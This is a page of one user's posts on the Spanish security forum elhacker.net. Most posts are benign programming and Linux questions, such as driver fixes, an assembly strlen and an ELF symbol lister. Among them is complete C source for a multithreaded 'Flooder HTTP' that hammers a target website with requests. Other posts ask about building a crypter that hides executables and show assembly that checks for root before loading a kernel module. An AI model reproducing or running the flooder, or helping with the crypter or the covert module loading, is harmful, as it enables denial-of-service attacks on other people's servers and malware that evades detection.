elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Security Series.XSS. [Cross Site Scripting]


  Mostrar Temas
Páginas: 1 2 [3] 4 5 6 7 8
21  Sistemas Operativos / GNU/Linux / [SOLUCIONADO]Problema con drivers para Broadcom 4727 Guadalinex v7(Ubuntu 10.04) en: 6 Enero 2013, 16:03 pm
Resulta que he comprado un portatil nuevo, concretamente un Lenovo G580 con un i7 y 8GB de RAM  :)

Pero el problema es que no reconoce la tarjeta de red, y los drivers que proporciona el fabricante no funcionan  :huh:

En fin, alguna idea?

Saludos y gracias de antemano!

Edito: Solucionado, hay que conectar el portatil a internet con cable o una tarjeta externa e ir a Sistema->Administracion->Controladores de Hardware, descargarlo todo e instalar y listo.
22  Programación / Programación General / ¿Que te gusta en un lenguaje de programacion? en: 5 Enero 2013, 14:11 pm
Bueno pues esa es la pregunta... Por ejemplo he visto que C te permite hacer cosas a bajo nivel sin tener que usar ASM, que en Visual Basic o Delphi es sencillo crear interfaces graficas, que Java tiene muchas cosas de alto nivel y es muy portable...

Bueno os dejo a vosotros que sigais  :)

PD: Tambien estaria bien que digais que valorais de un IDE o entorno de desarrollo.
PD2: Si alguien dice algo sobre debuggers, tambien estaria bien  :)
23  Programación / ASM / [FASM]strlen en ASM en: 26 Diciembre 2012, 20:30 pm
He encontrado una implementacion de strlen en ASM, podriais ayudarme a entenderla?

Código
  1. ; Will return the length of a null-terminated string
  2. ; The result will be written to ECX
  3. ;
  4. ; Usage:
  5. ; hello_tmp db "test",0
  6. ; ...
  7. ; ccall   strlen, hello_tmp
  8. proc  strlen, strInput
  9. mov ecx,-1
  10. mov al,0
  11. mov edi,[strInput]
  12. cld
  13. repne scasb
  14. not ecx
  15. dec ecx
  16. ret
  17. endp

Enlace: http://www.betamaster.us/blog/?p=471

Saludos.
24  Programación / ASM / Error en Linux en: 20 Diciembre 2012, 18:04 pm
Bueno de casualidad encontre este tutorial: http://www.muppetlabs.com/~breadbox/software/tiny/teensy.html y al probar un ejemplo, concretamente este:

Código
  1. ehdr:                                                 ; Elf32_Ehdr
  2.                db      0x7F, "ELF", 1, 1, 1, 0         ;   e_ident
  3.        times 8 db      0
  4.                dw      2                               ;   e_type
  5.                dw      3                               ;   e_machine
  6.                dd      1                               ;   e_version
  7.                dd      _start                          ;   e_entry
  8.                dd      phdr - $$                       ;   e_phoff
  9.                dd      0                               ;   e_shoff
  10.                dd      0                               ;   e_flags
  11.                dw      ehdrsize                        ;   e_ehsize
  12.                dw      phdrsize                        ;   e_phentsize
  13.                dw      1                               ;   e_phnum
  14.                dw      0                               ;   e_shentsize
  15.                dw      0                               ;   e_shnum
  16.                dw      0                               ;   e_shstrndx
  17.  
  18.  ehdrsize     equ     $ - $$
  19.  
  20.  phdr:                                                 ; Elf32_Phdr
  21.                dd      1                               ;   p_type
  22.                dd      0                               ;   p_offset
  23.                dd      $$                              ;   p_vaddr
  24.                dd      $$                              ;   p_paddr
  25.                dd      filesize                        ;   p_filesz
  26.                dd      filesize                        ;   p_memsz
  27.                dd      5                               ;   p_flags
  28.                dd      0x1000                          ;   p_align
  29.  
  30.  phdrsize     equ     $ - phdr
  31.  
  32.  _start:
  33.                mov     ebx, 0
  34.                xor     eax, eax
  35.                inc     eax
  36.                int     0x80
  37.  
  38.  
  39.  filesize     equ     $ - $$

En el que se reduce el tamaño del ejecutable a 91 bytes, el programa termina por una señal SIGTERM, si alguien me pudiera decir que porque falla?

Saludos.
25  Seguridad Informática / Análisis y Diseño de Malware / [Aporte] Obtener los simbolos de un archivo ELF en: 15 Diciembre 2012, 17:16 pm
Bueno aqui os dejo esta pequeña herramienta que he hecho para ver algunos datos sobre los simbolos de una libreria dinamica o un ejecutable ELF: http://es.wikipedia.org/wiki/Executable_and_Linkable_Format

Cualquier pregunta, comentario o critica constructiva posteen  ;)

Código
  1. #include <stdio.h>
  2. #include <string.h>
  3. #include <stdlib.h>
  4. #include <stdbool.h>
  5. #include <elf.h>
  6.  
  7. int main(int argc, char **argv)
  8. {
  9.  
  10. char *shstrtabdata, *strtabdata, *dynstrdata;
  11. int i, off;
  12. bool strtabf=true, symtabf=true, dynsymf=true;
  13.  
  14. size_t ret;
  15.  
  16. Elf32_Ehdr *hdr = malloc(sizeof(Elf32_Ehdr));
  17. Elf32_Shdr shdr, shstrtab, strtab, dynsym, dynstr;
  18. Elf32_Sym sym;
  19.  
  20. FILE *dyn = fopen(argv[1], "rb");
  21. if(!dyn)
  22. {
  23.  perror("fopen");
  24.  exit(1);
  25. }
  26.  
  27. fread(hdr, sizeof(Elf32_Ehdr), 1, dyn);
  28. fseek(dyn, hdr->e_shoff+hdr->e_shentsize*hdr->e_shstrndx, SEEK_SET);
  29. fread(&shstrtab, sizeof(shstrtab), 1, dyn);
  30. shstrtabdata = malloc(shstrtab.sh_size);
  31. if(!shstrtabdata)
  32. {
  33.  perror("malloc");
  34.  exit(2);
  35. }
  36. fseek(dyn, shstrtab.sh_offset, SEEK_SET);
  37. fread(shstrtabdata, 1, shstrtab.sh_size, dyn);
  38. fseek(dyn, hdr->e_shoff, SEEK_SET);
  39.  
  40. fwrite(shstrtabdata, 1, shstrtab.sh_size, stdin);
  41.  
  42. for(i=0; i<hdr->e_shnum; i++)
  43. {
  44.  fread(&shdr, sizeof(shdr), 1, dyn);
  45.  if(!strcmp(shstrtabdata+shdr.sh_name, ".symtab"))
  46.  {
  47.   printf(".symtab encontrada: offset: 0x%x\n", shdr.sh_offset);
  48.   printf("Tamaño de .symtab: %d\n", shdr.sh_size);
  49.   printf("Numero de sym headers: %f\n", (float) shdr.sh_size/(float) sizeof(Elf32_Sym));
  50.   symtabf = false;
  51.   break;
  52.  }
  53. }
  54.  
  55. if(symtabf)
  56. {
  57.  printf("sección .symtab no encontrada.\n");
  58. }
  59.  
  60. fseek(dyn, hdr->e_shoff, SEEK_SET);
  61.  
  62. for(i=0; i<hdr->e_shnum; i++)
  63. {
  64.  fread(&dynsym, sizeof(dynsym), 1, dyn);
  65.  if(!strcmp(shstrtabdata+dynsym.sh_name, ".dynsym"))
  66.  {
  67.   printf(".dynsym encontrada: offset: 0x%x\n", dynsym.sh_offset);
  68.   dynsymf=false;
  69.   break;
  70.  }
  71. }
  72.  
  73. fseek(dyn, hdr->e_shoff, SEEK_SET);
  74.  
  75. for(i=0; i<hdr->e_shnum; i++)
  76. {
  77.  fread(&dynstr, sizeof(dynstr), 1, dyn);
  78.  if(!strcmp(shstrtabdata+dynstr.sh_name, ".dynstr"))
  79.  {
  80.   printf(".dynstr encontrada: offset: 0x%x\n", dynstr.sh_offset);
  81.   printf("Tamaño de .dynstr: 0x%x\n", dynstr.sh_size);
  82.   break;
  83.  }
  84. }
  85.  
  86. dynstrdata = malloc(dynstr.sh_size);
  87. if(!dynstrdata)
  88. {
  89.  perror("malloc");
  90.  exit(5);
  91. }
  92.  
  93. fseek(dyn, dynstr.sh_offset, SEEK_SET);
  94. ret = fread(dynstrdata, 1, dynstr.sh_size, dyn);
  95.  
  96. fseek(dyn, hdr->e_shoff, SEEK_SET);
  97.  
  98. for(i=0; i<hdr->e_shnum; i++)
  99. {
  100.  fread(&strtab, sizeof(strtab), 1, dyn);
  101.  if(!strcmp(shstrtabdata+strtab.sh_name, ".strtab"))
  102.  {
  103.   printf(".strtab encontrada: offset: 0x%x\n", strtab.sh_offset);
  104.   strtabf = false;
  105.   break;
  106.  }
  107. }
  108.  
  109. if(strtabf)
  110. {
  111.  printf("sección .strtab no encontrada.\n");
  112. }
  113.  
  114.  
  115. if(!strtabf)
  116. {
  117.  strtabdata = malloc(strtab.sh_size);
  118.  if(!strtabdata)
  119.  {
  120.   perror("malloc");
  121.   exit(3);
  122.  }
  123.  fseek(dyn, strtab.sh_offset, SEEK_SET);
  124.  ret=fread(strtabdata, 1, strtab.sh_size, dyn);
  125.  if(ret!=strtab.sh_size)
  126.  {
  127.    perror("fread");
  128.    exit(4);
  129.  }
  130. }
  131.  
  132.  
  133.  fseek(dyn, shdr.sh_offset, SEEK_SET);
  134.  
  135.  
  136. if(!symtabf)
  137. {
  138.  printf("***Symtab***\n\n");
  139.  i=0;
  140.  while(shdr.sh_size>i)
  141.  {
  142.   ret=fread(&sym, sizeof(sym), 1, dyn);
  143.   i+=sizeof(sym);
  144.   printf("%s\n", strtabdata+sym.st_name);
  145.   printf("Direccion: 0x%x\t", sym.st_value);
  146.   printf("Tamaño: 0x%x\t", sym.st_size);
  147.   if(sym.st_info & STT_NOTYPE) printf("Tipo no definido\t");
  148.   if(sym.st_info & STT_OBJECT) printf("Data object\t");
  149.   if(sym.st_info & STT_FUNC) printf("Funcion\t");
  150.   if(sym.st_info & STT_FILE) printf("Fichero fuente\t");
  151.   printf("\n");
  152.  }
  153.  printf("Numero de simbolos: %d\n", i/16);
  154. }
  155.  
  156. fseek(dyn, dynsym.sh_offset, SEEK_SET);
  157.  
  158. if(!dynsymf)
  159. {
  160.  printf("***Dynsym***\n\n");
  161.  i=0;
  162.  while(dynsym.sh_size>i)
  163.  {
  164.   ret=fread(&sym, sizeof(sym), 1, dyn);
  165.   i+=sizeof(sym);
  166.   printf("%s\n", dynstrdata+sym.st_name);
  167.   printf("Direccion: 0x%x\t", sym.st_value);
  168.   printf("Tamaño: 0x%x\t", sym.st_size);
  169.   if(sym.st_info & STT_NOTYPE) printf("Tipo no definido\t");
  170.   if(sym.st_info & STT_OBJECT) printf("Data object\t");
  171.   if(sym.st_info & STT_FUNC) printf("Funcion\t");
  172.   if(sym.st_info & STT_FILE) printf("Fichero fuente\t");
  173.   printf("\n");
  174.  }
  175.  printf("Numero de simbolos: %d\n", i/16);
  176. }
  177.  
  178. if(!strtabf) free(strtabdata);
  179. free(shstrtabdata);
  180. if(!dynsymf) free(dynstrdata);
  181.  
  182. return 0;
  183.  
  184. }

El modo de uso es tan simple como pasarle como argumento la ruta del archivo a analizar.

Saludos!
26  Foros Generales / Foro Libre / La educacion prohibida. en: 6 Diciembre 2012, 22:53 pm


Bueno comparto esta pelicula con vosotros porque me parece que te hace reflexionar sobre el sistema educativo actual, y eso es algo que, si la base de la sociedad es la educacion, es urgente.

La pelicula esta licenciada bajo Creative Commons, cosa que aplaudo.

Bueno disfrutenla, reflexionen y comenten!
27  Seguridad Informática / Análisis y Diseño de Malware / Darle la vuelta a una direccion de memoria. en: 2 Diciembre 2012, 18:33 pm
Bueno estoy haciendo un pequeño crypter, y tengo que hardcodear un push. Tengo que meter en la pila un puntero al entrypoint del ejecutable, y desensamblando un programa simple para ver cual es el opcode de un push me doy cuenta de que detras del opcode (0x68) se pone el valor que se quiere empujar, pero con los bytes al reves. Entonces un codigo simple como este:
Código
  1. push 0x80484ee

Genera:
Código
  1. 68 ee 84 04 08

Entonces como puedo, en C o en ASM, darle la vuelta a una direccion de memoria para hardcodear un push?
28  Foros Generales / Foro Libre / Whatsapp en: 28 Noviembre 2012, 18:00 pm
Puede que ya se hayan dado cuenta pero miren los estados de sus contactos en whatsapp...
29  Programación / ASM / Cargar modulo del kernel Linux. en: 22 Noviembre 2012, 17:21 pm
Hola!

Veran estoy haciendo un pequeño codigo en asm que debe comprobar si se tienen permisos de root y si los tiene cargar un modulo del kernel. Al parecer hay una syscall que lo hace, la 0x31, pero he optado por llamar a la funcion de C(http://www.kernel.org/doc/man-pages/online/pages/man2/init_module.2.html). Tengo dos problemas:

-No se el tamaño de la struct image, y no lo encuentro por ninguna parte.
-No se con que hay que linkar o que hay que hacer para hacer un call a init_module, el assembler (nasm) me dice: 'symbol "init_module" undefined'.

Y en realidad tengo otro, y es que no se si tengo que rellenar la estructura o algo, no hay ejemplos ni nada, pero con eso ya me apaño.

Código
  1. extern init_module
  2. section .text
  3. global _start
  4.  
  5. _start:
  6.  
  7. xor eax,eax
  8. add eax,0x31
  9. int 0x80
  10. test eax,eax
  11. jz init
  12.  
  13. exit:
  14. xor eax,eax
  15. inc eax
  16. xor ebx,ebx
  17. or ebx,eax
  18. int 0x80
  19.  
  20. init:
  21. xor eax,eax
  22. or eax,80
  23. add eax,48
  24. push image
  25. jmp n
  26. m:
  27. call init_module
  28. jmp exit
  29.  
  30. n:
  31. call m
  32. name:
  33. db "mylkm.o",0
  34.  
  35.  
  36.  
  37. section .bss
  38.  
  39. image: resb (tamanio de struct image)

Saludos y gracias de antemano ;D

Edit: Tenia que declarar init_module como extern claro :') Ahora el ensamblador no me dice nada, pero el linker me salta con undefined reference to 'init_module'.
30  Programación / Programación C/C++ / [Aporte] Flooder HTTP en: 29 Octubre 2012, 16:36 pm
Bueno aqui dejo este codigo que he estado haciendo estos dias, espero que les guste, se aceptan sugerencias, criticas constructivas, comentarios... etc. Basicamente crea varios hilos (he llegado a probar hasta 50) y cada uno de estos hilos envia peticiones HTTP a la pagina objetivo.

Código
  1. #include <sys/socket.h>
  2. #include <arpa/inet.h>
  3. #include <netinet/in.h>
  4. #include <netdb.h>
  5. #include <unistd.h>
  6. #include <pthread.h>
  7. #include <stdio.h>
  8. #include <stdlib.h>
  9. #include <string.h>
  10. #include <errno.h>
  11. #include <time.h>
  12. #include <sys/types.h>
  13. #include <stdbool.h>
  14.  
  15.  
  16. #define MAX_dani 0xF0000
  17.  
  18. struct params{ /* En esta estructura se almacenan los parametros de la funcion t*/
  19.  char web[20]; // Dominio web
  20.  int port;  // Puerto (sera el 80, para peticiones HTTP)
  21.  int thread; // El numero de thread
  22.  int nrequests; // El numero de peticiones
  23.  int sleeptime; // El tiempo de espera entre cada peticion
  24. };
  25.  
  26. int total_requests; // Para almacenar el numero total de peticiones
  27. pthread_mutex_t lock; // Para evitar que varios threads modifiquen total_requests a la vez
  28. int nthreads; // Numero de threads a crear
  29.  
  30. void* t(void *p) /* Esta es la funcion que va a ejecutar cada thread*/
  31. {
  32.  int n = ((struct params*)p)->thread+1; // El numero de thread
  33.  printf("Proceso %i: presente\n", n); // Presentacion
  34.  char request[128]; // Para almacenar la peticion
  35.  _Bool connected; // Variable auxiliar, indica si el socket esta conectado
  36.  struct hostent *host = gethostbyname(((struct params*)p)->web); // Obtener la IP de la web
  37.  if(!host)
  38.  {
  39.    printf("Proceso %i: No se ha podido resolver la direccion del servidor\n", n);
  40.    return NULL;
  41.  }
  42.  printf("Proceso %i: Direccion IP(v4): %s\n", n, inet_ntoa(*((struct in_addr *)host->h_addr)));
  43.  /*Para getpeername()*/
  44.  struct sockaddr sockbuf;
  45.  int stsize = sizeof(sockbuf);
  46.  /*Preparar los datos de la conexion */
  47.  struct sockaddr_in sock;
  48.  sock.sin_family = AF_INET;
  49.  sock.sin_port = htons(((struct params*)p)->port);
  50.  sock.sin_addr.s_addr = inet_addr(inet_ntoa(*((struct in_addr *)host->h_addr)));
  51.  
  52.  int sockfd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); // Creamos el socket
  53. if(sockfd==-1)
  54. {
  55.  printf("Proceso %i: No se pudo crear el socket\n", n);
  56.  return NULL;
  57. }
  58. printf("Proceso %i: Socket creado\n", n);
  59. printf("Proceso %i: Conectando...\n", n);
  60. int aux;
  61. connect(sockfd, (struct sockaddr*) &sock, sizeof(struct sockaddr)); // Conectamos
  62. printf("Proceso %i: Conectado\n", n);
  63. connected=true;
  64. sprintf(request, "GET / HTTP/1.1\nHost: %s\nUser-Agent: Mozilla/4.0\n\n ", host->h_name); // Ponemos la peticion en una cadena
  65. printf("Proceso %i: Peticion en request\n", n);
  66. for(aux=0; aux<(((struct params*)p)->nrequests); aux++)
  67. {
  68.   if(getpeername(sockfd, &sockbuf, &stsize)<0) // Comprobar que el socket esta conectado
  69.   {
  70.     if(errno==ENOTCONN) // Si no lo esta, cerrar y reconectar
  71.     printf("Proceso %i: Reconectando socket...\n", n);
  72.     close(sockfd);
  73.     sockfd = socket(AF_INET, SOCK_STREAM, 0);
  74.     if(connect(sockfd, (struct sockaddr*) &sock, sizeof(struct sockaddr))==-1)
  75.     {
  76.      connected=false;
  77.      break;
  78.     }
  79.   }
  80.   if(!connected) // Si no se pudo reconectar, decrementar aux y reiniciar el bucle
  81.   {
  82.     aux--;
  83.     continue;
  84.   }
  85.   write(sockfd, request, strlen(request)); // Hacer la peticion HTTP
  86.   printf("Proceso %i: %i peticion/es\n", n, aux+1);
  87.   pthread_mutex_lock(&lock); // Incrementar el numero total de peticiones
  88.   total_requests++;
  89.   pthread_mutex_unlock(&lock);
  90.   sleep(((struct params*)p)->sleeptime); // Pausar
  91.   }
  92. close(sockfd); // Cerrar el socket
  93. pthread_exit(NULL); // Salir
  94. }
  95.  
  96. int main(int argc, char *argv[])
  97. {
  98. /*Tratamiento de linea de comandos*/
  99. if(argc!=6)
  100.  {
  101.   printf("Uso: %s numero_de_threads dominio_web puerto(80) numero_de_peticiones_por_thread tiempo_de_espera\n", argv[0]);
  102.   exit(0);
  103.  }
  104.  
  105.  
  106. /*Inicializar algunas estructuras y parametros*/
  107. pthread_mutex_init(&lock, NULL);
  108. pthread_t *mythreads = (pthread_t*)malloc(atoi(argv[1])*sizeof(pthread_t));
  109. pthread_attr_t a;
  110. struct params *p = (struct params*)malloc(atoi(argv[1])*sizeof(struct params));
  111. int i, ret, j; // Algunas variables auxiliares
  112. nthreads = atoi(argv[1]); // Numero de threads
  113. for(j=0; j<nthreads; j++)
  114. {
  115.  strcpy(p[j].web, argv[2]);
  116.  p[j].thread = j;
  117.  p[j].port = atoi(argv[3]);
  118.  p[j].nrequests = atoi(argv[4]);
  119.  p[j].sleeptime = atoi(argv[5]);
  120. }
  121. /*Setear la cantidad de memoria que un thread puede usar*/
  122. pthread_attr_init(&a);
  123. pthread_attr_setstacksize(&a, MAX_dani);
  124. /*Saber el tiempo que hace que se inicio el programa*/
  125. time_t start=time(NULL), end;
  126. /*Crear los threads*/
  127. for(i=0; i<nthreads; i++)
  128. {
  129.  ret = pthread_create(&mythreads[i], &a, t, &p[i]);
  130.  switch(ret)
  131.  {
  132.   case 0:
  133.    printf("Thread %i creado\n", i+1);
  134.    break;
  135.   case EAGAIN:
  136.    printf("EAGAIN\n");
  137.    _exit(1);
  138.   case EINVAL:
  139.    printf("EINVAL\n");
  140.    _exit(2);
  141.   case EPERM:
  142.    printf("EPERM\n");
  143.    _exit(3);
  144.  }
  145. }
  146. /*Esperar a que terminen los threads, liberar memoria y mostrar algunas estadisticas aproximadas*/
  147. pthread_attr_destroy(&a);
  148. for(j=0; j<nthreads; j++)
  149. pthread_join(mythreads[j], NULL);
  150. end=time(NULL);
  151. pthread_mutex_destroy(&lock);
  152. printf("Retornaron los hilos\n");
  153. printf("Total de peticiones: %i\n", total_requests);
  154. printf("Numero de peticiones por segundo: %lf\n", total_requests/((double)(difftime(end, start))));
  155. free(mythreads);
  156. free(p);
  157. return 0;
  158. }

Saludos!
Páginas: 1 2 [3] 4 5 6 7 8
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines